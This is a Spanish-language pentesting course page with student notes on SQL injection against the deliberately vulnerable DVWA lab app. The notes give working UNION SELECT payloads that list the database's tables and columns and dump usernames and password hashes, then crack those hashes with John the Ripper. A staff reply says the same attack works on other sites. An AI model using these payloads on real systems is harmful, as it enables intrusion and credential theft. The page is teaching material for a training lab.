Continuando con el ataque de inyección de código

Clase 46 de 54 • Curso de Pentesting 2019

Agustin Erwin Sigfrido Devesa

student•

Seguimos con las consultas

SELECT first_name, last_name
FROM user
WHERE user_id = ‘%’ or ‘0’ = ‘0’

UNION SELECT null, version() #

version(): Nos dice la versión de MySQL que se ejecuta.
user(): Nos dice cual es el usuario que esta ejecutando la aplicación
database(): Nos dice el nombre de la base de datos
table_name from information_schema.tables: nos trae el nombre de todas las tablas de information_schema.tables.
table_name from information_schema.tables WHERE table_name like 'user%': nos trae los nombres de las tablas con posible informacion sensible sobre usuarios.

SELECT first_name, last_name
FROM user
WHERE user_id = ‘%’ or ‘1’ = ‘0’

UNION SELECT null,
CONCAT(table_name,0x0a,column_name)
FROM information_schema.columns
WHERE table_name = ‘users’
#

Lo que se debe copiar en el text box:

`%’ or ‘1’ = ‘0’
UNION SELECT null,
CONCAT(table_name,0x0a,column_name)
FROM information_schema.columns
WHERE table_name = ‘users’
#

Con esta consulta se puede averiguar las columnas de la tabla users.

SELECT first_name, last_name
FROM user
WHERE user_id = ‘%’ or ‘1’ = ‘0’

UNION SELECT null,
CONCAT(
first_name,0x0a,
last_name,0x0a,
user,0x0a,
password)
FROM users

Con esta consulta obtener el nombre, apellido, usuario y contraseña de la tabla usuarios. Podemos observar que las contraseñas vienen cifradas, por lo que con John the Ripper averiguamos qué contraseña es.

john --format=raw-MD5 hashdvwa
hashdvwa: nombre de un archivo donde se almaceno la contraseña cifrada en texto plano.

Juan Guillermo Perez Cardozo

student•

Excelente ilustracion

Sergio López Humanes

student•

Toda esta inyección que web es la que se atacaría o se inyectaría, en este caso DVWA?. O esta web sirve como base para otras?. Si no, con que se hace en otras webs?.

Diego Forero

Team Platzi•

En otras webs el ataque es igual lo único que cambia es la url, al hacer la auditoria puedes encontrar por ejemplo una url que tiene esa vulnerabilidad puede ser por lo general urls con formularios, y puedes iniciar el ataque como se indica en el video.

David Toca

student•

DVWA expone varias vulnerabilidades comunes en las paginas web, lo que se esta haciendo en esta clase es explotar dichas vulnerabilidade. Dicho de otro modo, esta pagina web fue diseñada a proposito con dichas vulnerabilidades, con el motivo de aprender como detectar estas vulnerabilidades en otras paginas web

SELECT first_name, last_name
FROM user
WHERE user_id = ‘%’ or ‘1’ = ‘0’

UNION SELECT null,
CONCAT(table_name,0x0a,column_name)
FROM information_schema.columns
WHERE table_name = ‘users’
#

Continuando con el ataque de inyección de código

Actualizamos este curso

¡Vamos a renovar este curso!

Introducción a Pentesting

Pentesting: qué es

Introducción al curso de Pentesting

Herramientas para un laboratorio de Pentesting

Instalación de las herramientas para un laboratorio de Pentesting

Presentación del caso de uso

Google Directives / Google Dorks

Information Gathering

Email Harvesting

Netcraft

Whois

Información a partir de DNS

Zonas de transferencia y brute-force a DNS

HTTrack

Escaneo y análisis de vulnerabilidades

Presentación de la fase de escaneo

Barrido de pings y barrido de puertos usando fpingy nmap

Análisis detallado de una conexión usando nmap y wireshark

Barrido de pings con nmap y análisis de UDP

Escaneos Xmas

Escaneos null y escaneo final

Nmap Scripting Engine

Análisis de vulnerabilidades: Nessus

Análisis de vulnerabilidades: OpenVAS

Explotación

Explotación de vulnerabilidades con Metasploit

Arquitectura de Metasploit

Explotación de otras vulnerabilidades con Metasploit

Ataques con Armitage

Creación de diccionarios

Medusa e Hydra

Ataques a contraseñas locales (Linux)

Ataques a contraseñas locales (Windows)

Ataques al Hash con Rainbow Tables

Primeras configuraciones de un enrutador con dd-wrt

Otras configuraciones de un enrutador con dd-wrt

Configuración de interfaces en modo monitor con Airmon-ng

Inyección de paquetes usando Aireplay/ng

Ataque a una red wifi con Aircrak/ng

Introducción a la Ingeniería Social

Ataque con SET: 1

Credential Harvesting

Ataque con SET: 2

Introducción a los ataques web

Análisis de servicios web (Nikto)

Webscarab (Spidering e Intercepción)

Golismero - OWASP

Ataques de inyección de código

Continuando con el ataque de inyección de código

Ataques XSS

ZED Attack Proxy (Spidering, intercepción y escaneo)

Post-Explotación

Meterpreter

Más de Meterpreter

NetCat

Generando reporte

Estructura de un reporte

¿Cómo aprender más de Pentesting?

Bonus: Enlaces para aprender más